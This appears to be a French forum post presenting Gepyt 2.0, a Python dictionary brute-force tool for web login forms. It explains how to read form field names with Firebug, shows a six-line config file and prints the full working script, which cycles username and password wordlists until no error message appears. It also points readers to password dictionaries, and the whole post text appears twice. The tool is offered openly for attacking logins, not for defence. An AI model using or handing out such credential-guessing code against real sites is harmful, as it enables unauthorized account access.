Bonjour à tous !
Je vais vous présenter un petit outil de brute force, made in Yarflam.
Il est simple et flexible : on peut l'utiliser dans un formulaire HTML ou dans un script PHP à une entrée.
INTRODUCTION HTML
Impossible de comprendre le fonctionnement, si on ne possède pas une petite connaissance en HTML.
Un tutoriel dessus s'impose !
Qu'est-ce qu'un formulaire HTML ?
Le code ci-dessus permet d'afficher un formulaire simple. Il faut savoir repérer les balises références pour pouvoir s'attaquer à un code source plus complexe: FORM et INPUT.
J'ai coloré les parties importantes qui serviront pour la configuration de l'exploit.
En rouge la page à attaquer, s'occupant de la vérification des identifiants.
En vert le type d'attaque GET ou POST. Par défaut POST pour les formulaires.
En orange le nom qui identifie la valeur 'Pseudo'.
En bleu le nom qui identifie la valeur 'Mot de passe'.
Note: il ne faut pas confondre avec l'ID de l'élément. id='psd'
Par déduction, vous pouvez trouver le fonctionnement des syntaxes :
INPUT : crée une zone d'entrée pour l'utilisateur. Deux types 'text' et 'password'.
FORM : entoure la zone de saisie. Elle configure l'envoie de la requête.
APPLICATION
Utilisation de Firebug
Un petit module complémentaire Firefox indispensable :
Téléchargement de Firebug
Pour Chrome, vous pouvez appuyer sur CTRL + Majuscule + J pour accéder à la console.
Sur chacun des modèles, vous avez une icône de sélection utilisez là pour sélectionner la première zone de saisie 'Pseudo'.
Cliquez ici pour voir le rendu
A partir là, il faut savoir repérer les bons éléments. Chaussez vos lunettes techno à reconnaissance de caractères et go go go !!!
Firebug vous sera d'une grande utilité pour ce genre d'exploit ! Facile à manier.
UN OUTIL GÉNIAL : GEPYT !
Vous avez assimilé les bases ?
Plus qu'à télécharger mon outil en python et savoir le configurer.
L'arborescence ressemble à ça :
+Gepyt
|
|- Gepyt.py :: l'application principale
|
|- dic_pseudo.txt :: la liste des pseudos à tester
|
|- dic_mdp.txt :: le dictionnaire contenant les mots de passes
|
|- cfg.txt :: le fichier de configuration
Le fichier de configuration
On va préparer notre attaque en configurant le fichier en question 'cfg.txt'.
Il doit contenir 6 lignes (pas une de plus, ni de moins).
J'ai coloré les éléments en fonction du code source HTML.
Facile de s'y retrouver.
Ligne 1:
On observe deux parties "http://127.0.0.1/Test/" et "connexion.php".
La première se récupère dans la barre d'adresse.
Vous êtes sur la page "http://127.0.0.1/Test/index.php", la racine est donc "http://127.0.0.1/Test/" et par dessus on rajoute le nom du fichier PHP.
Lignes 2 et 3:
Récupéré sur la page ce ne doit pas être très compliqué à comprendre.
Note: vous pouvez désactiver une liste en écrivant un point à la place.
Lignes 4 et 5:
Ici, on indique le nom des dictionnaires.
Que l'on retrouve dans l'arborescence.
Ligne 6:
Très simple. C'est soit 'post' (formulaire), soit 'get'.
Un dictionnaire ?
Oui en réalité vous n'avez besoin que d'un dictionnaire : les mots de passes.
Les pseudos sont en fonction de votre objectif.
Dans l'archive se trouve un fichier tout fait mais pas très complet, donc je conseille de télécharger le dictionnaire de Sakarov et de Vances1.
Ou sur Brico-wifi.
Lancement
Tout est configuré ! Cool
Lancez Gepyt.py et écrivez le nom du fichier de configuration 'cfg.txt'.
Plus qu'à attendre patiemment la réponse ...
Gepyt.jpg
BUGS et maintenances
Sachez qu'un bug peut arriver sur des messages d'erreurs non indexés.
Mon application fonctionnant par test, si le message d'erreur n'apparaît pas c'est que les identifiants sont correctes.
Or certain messages peuvent ne pas être référencés - pour résoudre ce problème j'ai du rajouter une REGEX. Ce n'est pas infaillible, donc si ce bug se produit j'aimerai en être informé pour partager un correctif. Il se déclenche au tout début : le résultat indique la première ligne de chaque dictionnaires.
Pour toutes questions ou renseignements n'hésitez pas.
Je vais vous présenter un petit outil de brute force, made in Yarflam.
Il est simple et flexible : on peut l'utiliser dans un formulaire HTML ou dans un script PHP à une entrée.
INTRODUCTION HTML
Impossible de comprendre le fonctionnement, si on ne possède pas une petite connaissance en HTML.
Un tutoriel dessus s'impose !
Qu'est-ce qu'un formulaire HTML ?
Code:
<!doctype html> <head> <title>FORMULAIRE</title> </head> <body> <center> <h3><b>CONNEXION</b></h3> <form action='connexion.php' method='post'> <table> <tr> <td>Pseudo: </td> <td><input type='text' name='pseudo' id='psd'></td> </tr><tr> <td>Mot de passe: </td> <td><input type='password' name='password'></td> </tr> </table> </form> </center> </body></html>
Le code ci-dessus permet d'afficher un formulaire simple. Il faut savoir repérer les balises références pour pouvoir s'attaquer à un code source plus complexe: FORM et INPUT.
J'ai coloré les parties importantes qui serviront pour la configuration de l'exploit.
En rouge la page à attaquer, s'occupant de la vérification des identifiants.
En vert le type d'attaque GET ou POST. Par défaut POST pour les formulaires.
En orange le nom qui identifie la valeur 'Pseudo'.
En bleu le nom qui identifie la valeur 'Mot de passe'.
Note: il ne faut pas confondre avec l'ID de l'élément. id='psd'
Par déduction, vous pouvez trouver le fonctionnement des syntaxes :
INPUT : crée une zone d'entrée pour l'utilisateur. Deux types 'text' et 'password'.
FORM : entoure la zone de saisie. Elle configure l'envoie de la requête.
APPLICATION
Utilisation de Firebug
Un petit module complémentaire Firefox indispensable :
Téléchargement de Firebug
Pour Chrome, vous pouvez appuyer sur CTRL + Majuscule + J pour accéder à la console.
Sur chacun des modèles, vous avez une icône de sélection utilisez là pour sélectionner la première zone de saisie 'Pseudo'.
Cliquez ici pour voir le rendu
A partir là, il faut savoir repérer les bons éléments. Chaussez vos lunettes techno à reconnaissance de caractères et go go go !!!
Firebug vous sera d'une grande utilité pour ce genre d'exploit ! Facile à manier.
UN OUTIL GÉNIAL : GEPYT !
Vous avez assimilé les bases ?
Plus qu'à télécharger mon outil en python et savoir le configurer.
Code:
#!/usr/bin/python """ +============================+ | Gepyt | | 2.0 | | | | BY YARFLAM | | | | Copyright 2012 | | GNU/Linux | | | | Python 2.7 | +============================+ """ import urllib import os import re class yarf_gepyt: def __init__(self): # INITIALISATION print "="*80+"\t"*4+" Gepyt 2.0\n\n"+"\t"*4+"By Yarflam\n"+"="*80+"\n\t$ Bienvenue !" print "\t$ Pour fonctionner Gepyt a besoin de 2 dictionnaires," print "\t$ Et d'un fichier de configuration contenant 6 lignes :" print "\t[URL]" print "\t[Nom du formulaire 'pseudo']" print "\t[Nom du formulaire 'mot de passe']" print "\t[Dictionnaire 'pseudo' (chemin d'acces)]" print "\t[Dictionnaire 'mot de passe']" print "\t['post' ou 'get']\n" print "\t$ Entrez le nom du fichier de configuration (+ext)" while (not 'name' in locals()) or (not os.path.isfile(name)): name=str(raw_input('\t\t>> ')) self.cfg=open(name,'r').read().split('\n') self.dic1=open(self.cfg[3]).read().split('\n') self.dic2=open(self.cfg[4]).read().split('\n') print "\t$ Chargement ..." self.arg="(mots? de passes?|connexion|identifiants?|pseudo|login|erreurs?)([^\n]+)(incorrecte?|connexion)?" def error(self): return 0 if (not re.search(self.arg,self.page)) else 1 def http(self,form1,form2): # MODULE WEB params=urllib.urlencode({self.cfg[1]:form1, self.cfg[2]:form2}) params=urllib.urlencode({self.cfg[1]:form1}) if self.cfg[2]=='.' else params params=urllib.urlencode({self.cfg[2]:form2}) if self.cfg[1]=='.' else params r=urllib.urlopen(self.cfg[0], params) if self.cfg[5]=='post' else urllib.urlopen(self.cfg[0]+"?%s" % params) r=r.read() if r.find("404 Not Found") >= 0: print "\n\t[ERREUR]"+"\n\t> "+self.cfg[0]+"\n\t$ La page n'est pas accessible !" raw_input() quit() else: return r def start(self): # BOUCLES self.i=0 while self.i < len(self.dic1): self.j=0 while self.j < len(self.dic2): self.page=self.http(self.dic1[self.i],self.dic2[self.j]) if self.error() == 0: print "\n\t[RESULTAT]\n\tPseudo:\t\t"+self.dic1[self.i]+"\n\tMot de passe:\t"+self.dic2[self.j] raw_input() quit() self.j=self.j+1 self.i=self.i+1 print "\n\t[RESULTAT]\n\tAucun resultat." raw_input() exploit=yarf_gepyt() exploit.start()
+Gepyt
|
|- Gepyt.py :: l'application principale
|
|- dic_pseudo.txt :: la liste des pseudos à tester
|
|- dic_mdp.txt :: le dictionnaire contenant les mots de passes
|
|- cfg.txt :: le fichier de configuration
Le fichier de configuration
On va préparer notre attaque en configurant le fichier en question 'cfg.txt'.
Il doit contenir 6 lignes (pas une de plus, ni de moins).
Code:
http://127.0.0.1/Test/connexion.php pseudo passwd dic_pseudo.txt dic_mdp.txt post
Facile de s'y retrouver.
Ligne 1:
On observe deux parties "http://127.0.0.1/Test/" et "connexion.php".
La première se récupère dans la barre d'adresse.
Vous êtes sur la page "http://127.0.0.1/Test/index.php", la racine est donc "http://127.0.0.1/Test/" et par dessus on rajoute le nom du fichier PHP.
Lignes 2 et 3:
Récupéré sur la page ce ne doit pas être très compliqué à comprendre.
Note: vous pouvez désactiver une liste en écrivant un point à la place.
Lignes 4 et 5:
Ici, on indique le nom des dictionnaires.
Que l'on retrouve dans l'arborescence.
Ligne 6:
Très simple. C'est soit 'post' (formulaire), soit 'get'.
Un dictionnaire ?
Oui en réalité vous n'avez besoin que d'un dictionnaire : les mots de passes.
Les pseudos sont en fonction de votre objectif.
Dans l'archive se trouve un fichier tout fait mais pas très complet, donc je conseille de télécharger le dictionnaire de Sakarov et de Vances1.
Ou sur Brico-wifi.
Lancement
Tout est configuré ! Cool
Lancez Gepyt.py et écrivez le nom du fichier de configuration 'cfg.txt'.
Plus qu'à attendre patiemment la réponse ...
Gepyt.jpg
BUGS et maintenances
Sachez qu'un bug peut arriver sur des messages d'erreurs non indexés.
Mon application fonctionnant par test, si le message d'erreur n'apparaît pas c'est que les identifiants sont correctes.
Or certain messages peuvent ne pas être référencés - pour résoudre ce problème j'ai du rajouter une REGEX. Ce n'est pas infaillible, donc si ce bug se produit j'aimerai en être informé pour partager un correctif. Il se déclenche au tout début : le résultat indique la première ligne de chaque dictionnaires.
Pour toutes questions ou renseignements n'hésitez pas.
Commentaire